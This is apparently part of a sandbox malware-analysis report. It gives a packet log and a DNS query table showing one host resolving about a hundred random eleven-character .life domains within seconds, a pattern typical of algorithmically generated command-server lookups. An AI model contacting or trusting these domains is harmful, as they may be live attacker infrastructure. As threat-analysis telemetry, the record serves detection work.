Oct 3, 2024 09:21:37.762207985 CEST	56966	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:37.925409079 CEST	53	56966	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:38.668487072 CEST	56349	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:38.677671909 CEST	53	56349	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:39.371834040 CEST	57267	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:39.381058931 CEST	53	57267	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:40.028081894 CEST	52440	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:40.037493944 CEST	53	52440	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:40.933887005 CEST	57413	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:40.942934990 CEST	53	57413	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:41.746431112 CEST	53338	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:41.755083084 CEST	53	53338	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:42.482012033 CEST	62751	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:42.490700960 CEST	53	62751	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:42.935008049 CEST	50646	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:42.943542004 CEST	53	50646	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:43.559282064 CEST	64207	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:43.568011999 CEST	53	64207	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:43.940536976 CEST	49468	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:43.950970888 CEST	53	49468	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:44.293272018 CEST	60520	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:44.301908016 CEST	53	60520	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:44.795995951 CEST	50670	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:44.804564953 CEST	53	50670	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:45.105663061 CEST	58663	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:45.114787102 CEST	53	58663	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:45.527772903 CEST	62289	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:45.536577940 CEST	53	62289	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:45.778064966 CEST	58098	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:45.786864996 CEST	53	58098	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:46.027671099 CEST	57731	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:46.037563086 CEST	53	57731	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:46.261873007 CEST	58187	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:46.417844057 CEST	53	58187	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:46.621422052 CEST	56865	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:46.630275011 CEST	53	56865	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:46.824486017 CEST	62775	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:46.834495068 CEST	53	62775	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:47.090720892 CEST	55127	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:47.099611998 CEST	53	55127	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:47.261903048 CEST	64738	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:47.270559072 CEST	53	64738	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:47.496675968 CEST	49928	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:47.504610062 CEST	53	49928	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:47.637027979 CEST	58272	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:47.646743059 CEST	53	58272	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:47.840464115 CEST	60496	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:48.008940935 CEST	53	60496	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:48.127367973 CEST	54276	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:48.280677080 CEST	53	54276	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:48.433851004 CEST	50413	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:48.583185911 CEST	53	50413	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:48.731239080 CEST	50365	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:48.949414015 CEST	53	50365	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:49.044178963 CEST	61030	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:49.053158998 CEST	53	61030	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:49.139646053 CEST	53218	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:49.148497105 CEST	53	53218	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:49.264316082 CEST	55495	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:50.277545929 CEST	55495	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:50.341221094 CEST	53	55495	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:50.346182108 CEST	53	55495	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:50.449712992 CEST	65469	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:50.620297909 CEST	53	65469	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:50.699352980 CEST	58851	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:50.857245922 CEST	53	58851	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:50.949510098 CEST	55226	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:50.958117008 CEST	53	55226	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:51.043183088 CEST	51272	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:51.052196980 CEST	53	51272	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:51.121642113 CEST	58435	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:51.130182981 CEST	53	58435	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:51.199538946 CEST	60916	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:51.292093039 CEST	53	60916	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:51.355669975 CEST	51644	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:51.508444071 CEST	53	51644	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:51.543313980 CEST	59394	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:51.701852083 CEST	53	59394	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:51.746223927 CEST	63182	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:51.755517006 CEST	53	63182	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:51.809408903 CEST	55978	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:51.963382006 CEST	53	55978	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.014195919 CEST	55084	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.023513079 CEST	53	55084	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.058748007 CEST	58053	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.067548990 CEST	53	58053	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.090234041 CEST	57598	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.099375010 CEST	53	57598	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.137150049 CEST	62422	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.321182013 CEST	53	62422	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.355968952 CEST	50456	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.756535053 CEST	53	50456	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.793421984 CEST	54204	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.802400112 CEST	53	54204	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.840331078 CEST	56297	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.849586010 CEST	53	56297	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.871644974 CEST	51982	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.880544901 CEST	53	51982	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.903036118 CEST	57745	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.912230968 CEST	53	57745	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.933933973 CEST	60608	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.943084955 CEST	53	60608	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.965321064 CEST	54459	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:52.978518009 CEST	53	54459	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:52.996407986 CEST	55191	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.127496958 CEST	53	55191	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.153038025 CEST	64055	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.163223982 CEST	53	64055	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.184789896 CEST	60580	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.194133043 CEST	53	60580	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.232563019 CEST	63626	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.242420912 CEST	53	63626	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.262356043 CEST	63398	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.356018066 CEST	53	63398	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.387216091 CEST	50105	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.542720079 CEST	53	50105	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.558820963 CEST	55263	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.568758965 CEST	53	55263	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.590145111 CEST	59262	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.599530935 CEST	53	59262	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.621210098 CEST	60409	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.631489038 CEST	53	60409	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.652811050 CEST	49182	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.806502104 CEST	53	49182	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.824712038 CEST	52856	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:53.982960939 CEST	53	52856	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:53.996294022 CEST	59315	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:54.260766983 CEST	53	59315	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:54.277677059 CEST	60288	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:54.350308895 CEST	53	60288	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:54.371253967 CEST	62289	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:54.499773979 CEST	53	62289	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:54.512196064 CEST	61320	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:54.988010883 CEST	53	61320	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:54.996241093 CEST	58853	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:55.330486059 CEST	53	58853	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:55.355707884 CEST	58486	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:55.476520061 CEST	53	58486	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:55.496325016 CEST	55480	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:55.506990910 CEST	53	55480	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:55.512140989 CEST	63305	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:55.665296078 CEST	53	63305	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:55.683782101 CEST	64642	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:55.694485903 CEST	53	64642	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:55.699057102 CEST	59598	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:55.709719896 CEST	53	59598	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:55.714871883 CEST	54222	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:55.724673986 CEST	53	54222	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:55.730279922 CEST	59682	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:55.739720106 CEST	53	59682	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 09:20:44.130002975 CEST	192.168.2.9	1.1.1.1	0x429a	Standard query (0)	tvx1ovdepj8.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:46.152548075 CEST	192.168.2.9	1.1.1.1	0x24f6	Standard query (0)	acgr6r8zdot.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:48.418148041 CEST	192.168.2.9	1.1.1.1	0x78f8	Standard query (0)	ilofx941igp.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:50.433917999 CEST	192.168.2.9	1.1.1.1	0xb6c7	Standard query (0)	8x2apo5m7ri.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:52.464793921 CEST	192.168.2.9	1.1.1.1	0xdb55	Standard query (0)	x9yrzer0ndt.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:54.480531931 CEST	192.168.2.9	1.1.1.1	0xf3e9	Standard query (0)	93j4v4jopzd.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:57.512237072 CEST	192.168.2.9	1.1.1.1	0xa84	Standard query (0)	ameagxzo2f7.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:59.590022087 CEST	192.168.2.9	1.1.1.1	0xd32a	Standard query (0)	nyy41uibsv5.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:01.607420921 CEST	192.168.2.9	1.1.1.1	0x400b	Standard query (0)	ru4jvijdytq.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:04.621164083 CEST	192.168.2.9	1.1.1.1	0x8e64	Standard query (0)	l9t6r0y6cvi.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:06.636859894 CEST	192.168.2.9	1.1.1.1	0x23e2	Standard query (0)	f4vb9n3tdvh.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:09.652338982 CEST	192.168.2.9	1.1.1.1	0x5f2c	Standard query (0)	9do3mcejztt.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:12.668694973 CEST	192.168.2.9	1.1.1.1	0xf921	Standard query (0)	pxu1ajsdhqr.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:14.683804989 CEST	192.168.2.9	1.1.1.1	0x9ed7	Standard query (0)	7exy2b231n2.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:17.699202061 CEST	192.168.2.9	1.1.1.1	0xf8fb	Standard query (0)	vu5b47m18jn.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:19.654114962 CEST	192.168.2.9	1.1.1.1	0x260f	Standard query (0)	6mnudp7zj73.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:21.512227058 CEST	192.168.2.9	1.1.1.1	0x1c5f	Standard query (0)	p5047yjrb8q.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:24.199301004 CEST	192.168.2.9	1.1.1.1	0x3c63	Standard query (0)	d0xtxp89bb9.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:25.902762890 CEST	192.168.2.9	1.1.1.1	0xc212	Standard query (0)	ygo9u1fkwux.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:27.621237040 CEST	192.168.2.9	1.1.1.1	0xfc56	Standard query (0)	fig3gj0v6qe.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:29.621252060 CEST	192.168.2.9	1.1.1.1	0x51f	Standard query (0)	38f5wvwwn7o.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:30.980604887 CEST	192.168.2.9	1.1.1.1	0xc15d	Standard query (0)	txgogs9p8a1.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:32.730562925 CEST	192.168.2.9	1.1.1.1	0x59	Standard query (0)	uyn0icgx1kv.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:34.418530941 CEST	192.168.2.9	1.1.1.1	0x5e85	Standard query (0)	2z1ls31az7s.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:35.980726004 CEST	192.168.2.9	1.1.1.1	0x5631	Standard query (0)	0cc2z8zrnhf.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:36.857867002 CEST	192.168.2.9	1.1.1.1	0xdd57	Standard query (0)	fsr2hskx44p.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:37.762207985 CEST	192.168.2.9	1.1.1.1	0x399c	Standard query (0)	du19ek78tjw.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:38.668487072 CEST	192.168.2.9	1.1.1.1	0x67b0	Standard query (0)	234ct3lkozp.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:39.371834040 CEST	192.168.2.9	1.1.1.1	0x8b61	Standard query (0)	he8fq4k8d3w.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:40.028081894 CEST	192.168.2.9	1.1.1.1	0xf12f	Standard query (0)	7ewh8ltr7il.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:40.933887005 CEST	192.168.2.9	1.1.1.1	0x43de	Standard query (0)	dw34kmgfl7t.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:41.746431112 CEST	192.168.2.9	1.1.1.1	0xab66	Standard query (0)	f2j20ayqh8y.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:42.482012033 CEST	192.168.2.9	1.1.1.1	0xdd11	Standard query (0)	331k2rdkmmb.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:42.935008049 CEST	192.168.2.9	1.1.1.1	0xd45e	Standard query (0)	37z6li6l9y2.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:43.559282064 CEST	192.168.2.9	1.1.1.1	0x38fc	Standard query (0)	dpgs2lt1sbz.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:43.940536976 CEST	192.168.2.9	1.1.1.1	0xea5d	Standard query (0)	plll0xq4y82.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:44.293272018 CEST	192.168.2.9	1.1.1.1	0x89ef	Standard query (0)	bzc9sq2pz53.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:44.795995951 CEST	192.168.2.9	1.1.1.1	0x186f	Standard query (0)	7r8ln1wswth.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:45.105663061 CEST	192.168.2.9	1.1.1.1	0xf5e4	Standard query (0)	y9neib92f2m.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:45.527772903 CEST	192.168.2.9	1.1.1.1	0x438f	Standard query (0)	m5iukps17y7.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:45.778064966 CEST	192.168.2.9	1.1.1.1	0x3982	Standard query (0)	xo8be64ejh2.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:46.027671099 CEST	192.168.2.9	1.1.1.1	0x23d0	Standard query (0)	widn8soih8u.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:46.261873007 CEST	192.168.2.9	1.1.1.1	0x558e	Standard query (0)	08mkuqnx6gv.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:46.621422052 CEST	192.168.2.9	1.1.1.1	0xf9ae	Standard query (0)	lzeqr3apopn.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:46.824486017 CEST	192.168.2.9	1.1.1.1	0x3065	Standard query (0)	o4m5a5no7e8.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:47.090720892 CEST	192.168.2.9	1.1.1.1	0x95ca	Standard query (0)	2u8znzsbrto.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:47.261903048 CEST	192.168.2.9	1.1.1.1	0xe238	Standard query (0)	dxyob8x456a.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:47.496675968 CEST	192.168.2.9	1.1.1.1	0x1e3f	Standard query (0)	lrugnff8fkc.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:47.637027979 CEST	192.168.2.9	1.1.1.1	0x9a40	Standard query (0)	38i6lh0rpze.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:47.840464115 CEST	192.168.2.9	1.1.1.1	0xd383	Standard query (0)	mjb3r6mcs1f.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:48.127367973 CEST	192.168.2.9	1.1.1.1	0xd7a	Standard query (0)	vl41cymzzfq.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:48.433851004 CEST	192.168.2.9	1.1.1.1	0xded8	Standard query (0)	qc4mwjiop45.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:48.731239080 CEST	192.168.2.9	1.1.1.1	0x9564	Standard query (0)	z3z4fq0420z.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:49.044178963 CEST	192.168.2.9	1.1.1.1	0x74ae	Standard query (0)	0tab35o0swu.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:49.139646053 CEST	192.168.2.9	1.1.1.1	0x19b4	Standard query (0)	4izk0gc9is6.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:49.264316082 CEST	192.168.2.9	1.1.1.1	0xc1e4	Standard query (0)	6brdh3p893b.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:50.277545929 CEST	192.168.2.9	1.1.1.1	0xc1e4	Standard query (0)	6brdh3p893b.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:50.449712992 CEST	192.168.2.9	1.1.1.1	0x8ada	Standard query (0)	736d0mvetjw.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:50.699352980 CEST	192.168.2.9	1.1.1.1	0xa89e	Standard query (0)	drmk5rdefb5.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:50.949510098 CEST	192.168.2.9	1.1.1.1	0x6bff	Standard query (0)	1v0xhie4os8.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.043183088 CEST	192.168.2.9	1.1.1.1	0x77c7	Standard query (0)	khxcp22s3dz.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.121642113 CEST	192.168.2.9	1.1.1.1	0xdfff	Standard query (0)	8z9m8hndrhp.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.199538946 CEST	192.168.2.9	1.1.1.1	0x766a	Standard query (0)	xeoz1f1vjs0.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.355669975 CEST	192.168.2.9	1.1.1.1	0xa7c1	Standard query (0)	lobavyclh8e.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.543313980 CEST	192.168.2.9	1.1.1.1	0x64d2	Standard query (0)	in4pzu7t2pv.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.746223927 CEST	192.168.2.9	1.1.1.1	0x4ce5	Standard query (0)	j280b59doxz.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.809408903 CEST	192.168.2.9	1.1.1.1	0x58c2	Standard query (0)	6q894zusd4k.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.014195919 CEST	192.168.2.9	1.1.1.1	0x6a2d	Standard query (0)	y7pzxau0717.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.058748007 CEST	192.168.2.9	1.1.1.1	0xd20b	Standard query (0)	bev8ymaajb7.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.090234041 CEST	192.168.2.9	1.1.1.1	0xbde4	Standard query (0)	glux8x5b8d6.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.137150049 CEST	192.168.2.9	1.1.1.1	0xacd1	Standard query (0)	yan95akxgqt.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.355968952 CEST	192.168.2.9	1.1.1.1	0xdcff	Standard query (0)	9qiliikd3sp.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.793421984 CEST	192.168.2.9	1.1.1.1	0x26dd	Standard query (0)	ge0lpqif3ar.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.840331078 CEST	192.168.2.9	1.1.1.1	0x8086	Standard query (0)	ar7xakeve0o.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.871644974 CEST	192.168.2.9	1.1.1.1	0x8cf5	Standard query (0)	eb4l6wisq9z.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.903036118 CEST	192.168.2.9	1.1.1.1	0x64a0	Standard query (0)	1grovn87c8s.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.933933973 CEST	192.168.2.9	1.1.1.1	0x8b1c	Standard query (0)	wdga570b8pz.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.965321064 CEST	192.168.2.9	1.1.1.1	0xfe1e	Standard query (0)	nzs8vi9w5o8.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.996407986 CEST	192.168.2.9	1.1.1.1	0xf5fe	Standard query (0)	q7dfpyyhe08.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.153038025 CEST	192.168.2.9	1.1.1.1	0x4233	Standard query (0)	exueqqmz3ia.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.184789896 CEST	192.168.2.9	1.1.1.1	0x1d54	Standard query (0)	65r8nx12fqr.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.232563019 CEST	192.168.2.9	1.1.1.1	0x57be	Standard query (0)	vauy5ah65sx.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.262356043 CEST	192.168.2.9	1.1.1.1	0x6079	Standard query (0)	8hjv8mbhrlj.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.387216091 CEST	192.168.2.9	1.1.1.1	0x7e6a	Standard query (0)	eeqwg3mzq07.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.558820963 CEST	192.168.2.9	1.1.1.1	0x6015	Standard query (0)	b1h0uaabzyz.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.590145111 CEST	192.168.2.9	1.1.1.1	0x61dc	Standard query (0)	8qvt5iabz5n.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.621210098 CEST	192.168.2.9	1.1.1.1	0x2369	Standard query (0)	8ru044xed25.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.652811050 CEST	192.168.2.9	1.1.1.1	0xeda9	Standard query (0)	w8ligr695sd.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.824712038 CEST	192.168.2.9	1.1.1.1	0x3084	Standard query (0)	3e6rrifr5fn.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.996294022 CEST	192.168.2.9	1.1.1.1	0xf40b	Standard query (0)	9f6p9g7x13s.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:54.277677059 CEST	192.168.2.9	1.1.1.1	0xc305	Standard query (0)	ibcm5at6qrz.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:54.371253967 CEST	192.168.2.9	1.1.1.1	0xd32f	Standard query (0)	spd22scperm.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:54.512196064 CEST	192.168.2.9	1.1.1.1	0x9eb5	Standard query (0)	4k59ij2ujeu.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:54.996241093 CEST	192.168.2.9	1.1.1.1	0xa814	Standard query (0)	07zxfo0kere.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.355707884 CEST	192.168.2.9	1.1.1.1	0xd7d5	Standard query (0)	nhdeapyfg7e.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.496325016 CEST	192.168.2.9	1.1.1.1	0x4343	Standard query (0)	y0zvqpi42no.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.512140989 CEST	192.168.2.9	1.1.1.1	0xf8d9	Standard query (0)	zdf5ki8x9r0.life	A (IP address)	IN (0x0001)	false
